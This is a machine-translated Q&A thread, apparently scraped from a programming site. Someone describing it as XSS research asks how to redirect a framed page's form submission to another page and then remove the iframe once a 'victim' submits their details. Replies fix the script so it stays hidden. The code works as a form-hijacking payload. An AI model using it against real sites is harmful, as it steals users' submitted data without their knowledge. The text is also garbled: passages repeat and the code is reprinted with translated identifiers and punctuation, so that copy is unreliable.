如何在JavaScript中表单提交后动态关闭iframe

如何在JavaScript中表单提交后动态关闭iframe,javascript,iframe,Javascript,Iframe,作为我正在进行的一些XSS研究的一部分,我试图生成一个带有更改形式动作的iframe,然后在受害者提交其详细信息后关闭iframe。到目前为止,我有以下代码: <body onload="iframeEdit()"> <script> function deleteIframe() { var iframe = document.getElementById("myframe"); iframe.parentNode.removeChild(iframe); } func

作为我正在进行的一些XSS研究的一部分,我试图生成一个带有更改形式动作的iframe,然后在受害者提交其详细信息后关闭iframe。到目前为止,我有以下代码:

<body onload="iframeEdit()">
<script>
function deleteIframe() {
var iframe = document.getElementById("myframe");
iframe.parentNode.removeChild(iframe);
}
function iframeEdit() {
var iframe = document.getElementById("myframe");
var innerDoc = iframe.contentDocument || iframe.contentWindow.document;  
var form = innerDoc.getElementsByTagName("form");
form[0].action = "http://127.0.0.1/new/page.php";
form[0].setAttribute("onSubmit", "deleteIframe()");
}
</script>
<iframe id="myframe" src="http://127.0.0.1/iframe/page.php" height="250" width="300">

函数deleteIframe(){
var iframe=document.getElementById(“myframe”);
iframe.parentNode.removeChild(iframe);
}
函数iframeEdit(){
var iframe=document.getElementById(“myframe”);
var innerDoc=iframe.contentDocument | | iframe.contentWindow.document;
var form=innerDoc.getElementsByTagName(“表单”);
表单[0]。操作=”http://127.0.0.1/new/page.php";
表单[0]。setAttribute(“onSubmit”、“deleteIframe()”;
}

代码仍然将表单细节发布到php页面;但是,之后它无法关闭iframe。我知道iframe delete代码可以正常工作,就好像我自己尝试过一样。因此,要么与脚本的逻辑流有关,要么setAttribute行没有正常工作。有人能解释一下我哪里出了问题吗?谢谢

这只是一个猜测,没有运行代码

form[0].setAttribute("onSubmit", "parent.deleteIframe()");

我的猜测是iframe无法直接访问父窗口,因此您需要
父窗口

这只是一个猜测,而不运行您的代码

form[0].setAttribute("onSubmit", "parent.deleteIframe()");

我的猜测是iframe无法直接访问父窗口,因此您需要
父窗口

可能有更好的方法来实现这一点,但我发现一个解决方法是通过
setTimeout()
暂停deleteIframe函数。我发现只要5毫秒就足以成功发布表单详细信息:)


非常感谢Jason的
家长
提示

可能有更好的方法来实现这一点,但我发现一种解决方法是通过
setTimeout()
暂停deleteIframe函数。我发现只要5毫秒就足以成功发布表单详细信息:)


非常感谢Jason的
家长
提示

谢谢-这确实删除了iframe,但不幸的是,详细信息随后不再发布:(谢谢-这确实删除了iframe,但不幸的是,详细信息随后不再发布:(如果您提交到同一页面,为什么不使用AJAX,jQuery post?将使其更干净,并避免在5毫秒等待时间内进行猜测。如果您提交到同一页面,为什么不使用AJAX,jQuery post?将使其更干净,并避免在5毫秒等待时间内进行猜测。)。